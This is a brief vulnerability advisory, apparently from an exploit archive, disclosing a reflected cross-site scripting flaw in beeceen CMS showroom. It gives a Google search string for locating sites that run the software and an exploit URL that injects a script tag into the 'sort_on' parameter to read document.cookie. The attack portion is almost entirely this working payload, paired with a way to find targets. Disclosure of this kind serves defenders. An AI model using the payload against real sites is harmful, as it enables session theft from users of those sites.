beeceen CMS showroom XSS Vulnerability

Discovered by: OLiBekaS
Date: 25.03.06
Link: http://www.beeceen.com/ or http://www.beeceen.nl/
PoC: 
google : "www.beeceen.com"
Exploit: http://[target]/beeceen/php/beeceen.php?p=1&c=1&sort_on=<script>alert(document.cookie)</script>